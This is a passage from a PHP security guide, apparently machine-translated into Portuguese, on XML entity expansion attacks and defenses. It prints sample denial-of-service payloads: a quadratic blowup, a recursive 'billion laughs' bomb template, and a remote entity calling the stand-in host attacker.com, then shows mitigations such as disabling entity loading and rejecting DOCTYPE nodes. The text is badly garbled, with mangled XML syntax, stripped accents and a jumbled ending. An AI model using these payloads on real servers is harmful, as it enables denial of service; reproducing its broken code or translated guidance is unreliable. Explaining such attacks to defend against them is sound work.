RAM do que o tamanho original XML sugeriria.

<? Xml version = "1.0">

<! DOCTYPE resultados [<! ENTITY longa "SOME_SUPER_LONG_STRING"> ]>
<resultados>
<result> Agora incluem longos; & lotes de vezes para expandir
o tamanho na memria deste XML structure </result>
<result> &long;&long;&long;&long;&long;&long;&long;
&long;&long;&long;&long;&long;&long;&long;&long;
&long;&long;&long;&long;&long;&long;&long;&long;
&long;&long;&long;&long;&long;&long;&long;&long;
Continue ...
& Longo; & longo; & longo; & longo; & longo; & longo; & longo; ... </ result>
</ results>

Ao equilibrar o tamanho da cadeia de entidade personalizada e o nmero de utilizaes

da entidade dentro do corpo do documento, possvel criar um arquivo XML ou string
que ser expandido para usar at um montante previsvel de RAM do servidor. Ao
ocupar RAM do servidor com pedidos repetitivos desta natureza, seria possvel montar
uma negao de servio ataque bem sucedido. A desvantagem dessa abordagem que o
XML inicial deve-se ser muito grande j que o consumo de memria baseado em um
efeito multiplicador simples.

Recursiva Entidade Expanso

Onde a expanso entidade genrica requer uma entrada XML grande, expanso entidade
recursiva embala mais punch por byte de tamanho de entrada. Ele conta com o parser
XML para resolver exponencialmente conjuntos de pequenas entidades de tal forma que
seus exponenciais natureza explode de um tamanho muito menor de entrada XML em
algo substancialmente maior. bastante apropriado que esta abordagem tambm
comumente chamado de "bomba XML" ou "Billion Risos Attack".

<? Xml version = "1.0"?>

<resultados DOCTYPE [!
<ENTIDADE x0 "BOOM!">!
<x1 ENTIDADE "& x0; & x0;"!>
<x2 ENTIDADE! "& x1; & x1;">
<! x3 ENTIDADE "& x2; & x2;">
<! - Adicione o restante sequncia de x4 ... x100 (ou lana) ->
<ENTIDADE x99! "e x98; & x98;">
<crescimento ENTIDADE "e x99; & x99;">!
]>
<Resultados>
<result> Explode em 3 ... 2 ... 1 ... e lana; </ result>
</ results>

A abordagem da bomba XML no requer um grande tamanho XML que pode ser limitada
pela aplicao. exponencial de resolver os resultados entidades em uma expanso
texto final que de 2 ^ 100 vezes o tamanho do x0 &; valor entidade. Isso um boom
muito grande e devastador!

Expanso Entidade Remoto

Ambos os ataques normais e recursiva de expanso entidade dependem de entidades
definidas localmente em DTD do XML, mas um invasor tambm pode definir as entidades
externamente. Isto, obviamente, requer que o analisador XML capaz de fazer
solicitaes HTTP remotos que, como ns nos encontramos anteriormente na descrio
XML Entidade Externa Injection (XXE), deve ser desabilitado em seu parser XML como
uma medida de segurana bsica. Como resultado, a defesa contra XXEs defende contra
esta forma de Entidade XML ataque Expanso.
No entanto, o caminho de expanso entidade remota funciona por liderar o parser XML
para fazer solicitaes HTTP remoto para buscar o valor expandido das entidades
referenciadas. Os resultados sero ento se definem outras entidades externas que o
analisador XML deve adicionalmente fazem solicitaes HTTP para. Desta forma, um par
de pedidos de vista inocente pode espiral fora de controle rapidamente acrescentando
tenso aos recursos disponveis do servidor com o resultado final, talvez em si abrange
uma expanso entidade recursiva apenas para piorar a situao.

<? Xml version = "1.0"?>

<! DOCTYPE resultados [
<! ENTITY sistema de cascata "http://attacker.com/entity1.xml">
]>
<Resultados>
<Result> 3..2..1 ... & cascata <result>
</ Results>

O acima tambm permite uma abordagem mais tortuoso para executar um ataque DOS,
caso as solicitaes remotas ser adaptado para direcionar a aplicao local ou qualquer
outro compartilhando seus recursos de servidor de aplicativos. Isso pode levar a um
ataque DOS auto-infligido, onde tenta resolver entidades externas pelo analisador XML
pode desencadear inmeros pedidos para aplicativos hospedados localmente
consumindo assim uma propostion ainda maior de recursos do servidor. Este mtodo
pode, portanto, ser usado para amplificar o impacto da nossa discusso anterior sobre o
uso de XML Entidade Externa Injection (XXE) ataques para executar um ataque DOS.

Defesas contra Entidade XML Expansion

As defesas bvio aqui so herdados de nossas defesas para XML comum Entidade
Externa (XXE) ataques. Devemos desativar a resoluo de entidades personalizadas em
XML para arquivos locais e remotos solicitaes HTTP usando a seguinte funo que se
aplica globalmente a todas as extenses XML PHP que usam internamente

libxml2

libxml_disable_entity_loader ( verdadeiro );

PHP faz, no entanto, tm a reputao peculiar de no implementar um meio bvio de

desabilitar completamente a definio de entidades personalizadas usando um DTD
XML atravs do DOCTYPE . PHP faz definir um LIBXML_NOENT constante e existe tambm
de propriedade pblica

DOMDocument :: $ substituteEntities

mas nem se usado tem

qualquer efeito de melhoria. Parece que est preso com o uso de um conjunto de
solues alternativas em vez improvisado.
No entanto,

libxml2

faz tem um construdo em intolerncia padro para resoluo

recursiva entidade que ir iluminar o seu log de

erro como uma rvore de Natal. Como tal,
no h nenhuma necessidade especial para implementar uma defesa especfica contra
entidades recursiva que devemos fazer algo de qualquer maneira no off chance de
libxml2 sofre uma recada.

Por conseguinte, o novo principal perigo a abordagem inelegent da Expanso

quadrtica Blowup Ataque ou entidade genrica. Este ataque no requer sistema de
chamadas locais ou remotos e no requer entidade recurso. Na verdade, a nica defesa,
quer seja para descartar XML ou higienizar XML onde ele contm um

DOCTYPE

Descartando o XML a aposta mais segura, a menos que o uso de um

DOCTYPE

esperado e ns o recebemos de uma fonte confivel garantido, ou seja, ns o recebemos

atravs de uma conexo HTTPS verificou-peer. Caso contrrio, precisamos criar alguma
lgica homebrewed na ausncia de PHP dando-nos uma opo de trabalho para
desativar DTDs. Assumindo que voc pode chamado
libxml_disable_entity_loader (TRUE) , o seguinte ser trabalhar com segurana j que a
expanso entidade adiada at que o valor do n infectados pela expanso acessado (o
que no acontece durante esta verificao).

$dom = new DOMDocument ;

$dom -> loadXML ( $xml );
foreach ( $dom -> childNodes as $child ) {
if ( $child -> nodeType === XML_DOCUMENT_TYPE_NODE ) {
throw new \InvalidArgumentException (
'Invalid XML: Detectado uso de DOCTYPE ilegal '
);
}
}

A descrio acima , obviamente, deve ser apoiado por ter

definido para

VERDADEIRO

libxml_disable_entity_loader

to referncias a entidades externas no so resolvidos

quando o XML inicialmente carregado. Sempre que um parser XML no dependente

de

libxml2

esta pode ser a nica defesa possvel, a menos que analisador tem um

conjunto abrangente de opes que controlam como as entidades podem ser resolvidos.
Onde voc est a inteno de usar
uma verificado

DOMDocument

Injeo de SOAP
TBD

SimpleXML

objeto usando o

, tenha em mente que voc pode importar

simplexml_import_dom ()

funo.